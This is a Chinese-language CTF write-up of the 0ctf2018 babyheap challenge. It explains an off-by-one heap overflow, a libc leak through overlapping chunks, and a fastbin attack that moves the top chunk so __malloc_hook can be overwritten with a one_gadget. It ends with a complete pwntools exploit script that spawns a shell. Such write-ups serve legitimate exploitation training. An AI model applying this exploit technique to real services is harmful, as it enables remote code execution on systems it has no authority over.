1. 程式人生 > >0ctf2018-babyheap除錯記錄fastbin-attack,off-by-one

0ctf2018-babyheap除錯記錄fastbin-attack,off-by-one

 

 

檢視檔案格式以及保護開啟情況。發現為64位程式,符號被剝離,動態連結程式且題目提供給了libc。保護全開,猜想可能是fast attack加上malloc_hook利用(畢竟去年這題是這個利用,肯定先往這邊想)

 

 

簡單的執行程式,發現是常規的選單類題目,功能有申請記憶體(alloc)、更新(update)、刪除(delete)、檢視(view)、退出。我們每個功能走進去實現一遍看看。

 

 

申請記憶體,輸入記憶體大小即可

 

 

更新記憶體塊,選擇記憶體塊號(在alloc中確定),重新輸入大小以及內容。但是這裡有個奇怪的地方,你必須要輸入確定大小少3個字元數才退出輸入。

 

 

刪除操作,輸入需要刪除的塊號即可

 

 

檢視操作,輸入下標即可檢視相應記憶體內容

 

 

放入ida中跑一跑,首先觀察malloc模組,可以看出來分配的位元組限制在88位元組以內,也就限制為fastbin了,其次使用calloc分配,特點除了每次分配將記憶體清空外其他都一樣。用一個數據結構儲存分配大小、是否使用和分配地址。

 

 

Update模組,會判斷當前編輯的記憶體塊是否處於使用狀態。重點!發現取出申請長度的時候在最後加了一個位元組,且判斷輸入的v4和原長度v1(此時已經多加了一個位元組)存在相等的可能,即可以溢位一個位元組,也就是所說的off-by-one。我們可以利用此漏洞修改相鄰chunk的size欄位。

 

 

刪除模組,首先檢查塊是否已經被釋放,其次將長度和使用情況置0,釋放後將指標置NULL,不存在漏洞利用(應該沒有吧)

 

 

漏洞利用總體思路:首先由於全保護開啟,不存在修改got表或者plt表的可能性。因此我們需要洩漏出libc的基地址(通過只有一個small chunk或者large chunk被釋放時,其fd和bk指標會指向libc上的某個地址來實現),然後基本思路通過修改malloc_hook達成get shell的目的。

 

利用過程:

首先,由於calloc過程中限制了申請大小不會超過88位元組,因此我們需要先申請幾塊fast bin然後修改第一塊的內容從而使得溢位到第二塊的size欄位將其改變並釋放。這裡我們需要注意的是申請的大小必須為0xx8,即必須8結尾,因為如果你申請大小為0x10位元組對齊的話,覆蓋只能覆蓋到下一個塊的pre_size,這也是一個注意點。

 

首先連續申請幾個大小為fast chunk的堆塊,注意到chunk的大小要限制到0xx8,即以8結尾,這樣下一個位元組溢位將會溢位到chunk size欄位,若以0x0結尾,溢位一個位元組只能溢位到下一個chunk的pre_size欄位,因為pre_size欄位存在公用。

 

 

修改完後將chunk1釋放(此時chunk1大小為0xa1,屬於small chunk),此時在chunk1的記憶體空間裡fd和bk指向libc的某個地址,但是此時無法view(1),因為chunk1已經被釋放。我們可以在申請一個fast chunk塊,這時chunk2部分的fd和bk塊也指向了libc上的某處(即是chunk2並沒有被釋放也並不屬於small chunk),此時就可以view(2)來讀出chunk2的fd值,後面用來計算libc_base。

這裡要提一下洩漏出來的地址實際上是main_arena後的一個地址,該地址為top chunk地址,我麼通過給出的libc可以找到main_arena地址,然後就找到了top chunk地址。

 

 

首先ida載入libc,進入Exports表,搜尋函式malloc_trim,進入該函式實現,然後f5看如下圖v22的值就是main_arena地址,具體原因可以看glibc原始碼。

 

 

我們雙擊v22=&dword_399B00這個值跟蹤過去,可以看到的確是malloc_hook+0x10位置,的確是main_arena地址。拿到這個地址後,由於我們洩漏的是top chunk的地址,因此我們需要找到top chunk在libc內的偏移,這個位置我做了幾次都很固定,就是在main_arena地址+0x58處。到此,可以計算出libc_base。

 

 

 

接著再申請一個fast chunk,這個chunk拿到的地址實際為chunk2的地址,釋放1和2可以拿到堆地址。

 

 

我們洩漏出libc基地址後就要想辦法執行system函數了,但是由於保護全部開始,那麼思路主要集中在修改malloc_hook函式上。注意到釋放的chunk2其實際地址仍然可控,我們通過寫chunk4塊來修改chunk2塊的fd指標,使得連續兩次申請後,第二次申請出來我們修改的地址。但是要注意一點,從fast bin中申請出chunk需要檢查malloc的地址是否屬於該bin,因此我們需要修改前先申請一個fast chunk再釋放掉來佔位,從而繞過檢查。

 

 

我們通過除錯可以看到我們申請後釋放的malloc(0x58)的fast bin地址為0x7426a16c7b400,即main_arena+32地址處,我們需要一個chunk size欄位,因此main_arena+32+5處的值0x55剛好可以給我們繞過檢查。我們只需要通過chunk4修改chunk2的fd值就可以連續申請出該塊。

 

 

還有一點需要注意,我們現在的任務是要修改top chunk的地址,使得我們下次分配時從該地址開始分配。New_top值就是我們需要修改的值,通過除錯可以發現,main_arena-0x3

3的值為0x60000000。可以作為新的top chunk。

 

 

我們此時連續申請兩次chunk即可拿到main_arena+32+5的值,申請的兩塊分別為chunk1和chunk2,我們修改chunk2,計算好偏移修改top chunk的值(88-(37+1)-16+1=35)。將top chunk的值覆蓋為main_arena-0x33的值。接著,我們在申請一個新的chunk,這時會從top chunk中取一塊給它,計算到malloc_hook的距離:main_arena-0x33àmain_arena-0x10。此處我為了保險起見從memalign_hook後就開始覆蓋,因此需要3+8=11個字元覆蓋。然後再隨便申請一塊就可get shell了。

 

 

 

完整exp如下:

 1 #!/usr/bin/env python
 2 # coding=utf-8
 3 from pwn import *
 4 
 5 Local = 1
 6 
 7 if Local:
 8     p = process("./babyheap")
 9     libc_offset = 0x3c4b78
10     one_offset = 0x4526a
11     context.log_level = 'debug'
12 else:
13     p=remote('172.17.0.2',10001)
14     libc_offset = 0x68+0x399af0 #遠端
15     one_offset = 0x3f35a
16 
17 def alloc(size):
18     p.recvuntil("Command: ")
19     p.sendline("1")
20     p.recvuntil("Size: ")
21     p.sendline(str(size))
22 
23 def update(index, size, content):
24     p.recvuntil("Command: ")
25     p.sendline("2")
26     p.recvuntil("Index: ")
27     p.sendline(str(index))
28     p.recvuntil("Size: ")
29     p.sendline(str(size))
30     p.recvuntil("Content: ")
31     p.sendline(content)
32 
33 def delete(index):
34     p.recvuntil("Command: ")
35     p.sendline("3")
36     p.recvuntil("Index: ")
37     p.sendline(str(index))
38 
39 def view(index):
40     p.recvuntil("Command: ")
41     p.sendline("4")
42     p.recvuntil("Index: ")
43     p.sendline(str(index))
44 
45 def leak():
46     alloc(0x48) #0
47     alloc(0x48) #1
48     alloc(0x48) #2
49     alloc(0x48) #3
50     
51     update(0, 0x49, "A"*0x48 + "\xa1")  #單位元組溢位修改下一塊的size欄位,使得釋放該欄位時釋放整個small chunk
52     delete(1)   #1
53     alloc(0x48) #1,此時第1塊和第2塊的fd部分都有libc上的地址,由於第一塊已經釋放,我們通過讀第二塊的內容將libc上的值打印出來
54     view(2)
55     p.recvuntil("Chunk[2]: ")
56     leak = u64(p.recv(8))
57     libc_base = leak - libc_offset
58     main_arena = leak - 0x58
59 
60     alloc(0x48) #4 = 2,即分配的是原第2塊的地址
61     delete(1)   #連續釋放兩塊,然後通過第4修改第2塊的fd部分,使得連續申請兩塊記憶體後第二塊為覆蓋的地址
62     delete(2)
63     view(4)     #此處可洩漏出堆的地址
64     p.recvuntil("Chunk[4]: ")
65     heap = u64(p.recv(8)) - 0x50
66     log.info("heap: %s" % hex(heap))
67     return main_arena, libc_base    #返回main_arena libc_base方便exp使用
68 
69 def exp(main_arena, libc_base):
70     alloc(0x58) #1
71     delete(1)   #刪除第1塊,在fastbin中佔位
72     #gdb.attach(p)
73     addr = main_arena + 32 + 5  #這個值就是佔位的值
74     newtop = main_arena - 0x33  #這個值是0x60000000,用作修改新的top chunk
75     one = libc_base + one_offset#one_gadget值
76     update(4, 9, p64(addr))     #此時修改fastbin中第二個釋放的fd指標(通過第4塊修改)
77     alloc(0x48) #申請第一塊
78     alloc(0x48) #申請第二塊,此時申請到addr
79 
80     update(2, 0x2c, "\x00"*35 + p64(newtop))    #計算偏移,修改top chunk為malloc_hook之前的0x60000000部分
81     alloc(0x38) #5
82     update(5, 28, "w"*11 + p64(one)*2)
83     gdb.attach(p)
84     alloc(0x38) #執行malloc_hook指向的函式
85 
86 if __name__ == '__main__':
87     main_arena,libc_base = leak()
88     exp(main_arena,libc_base)
89     p.interactive()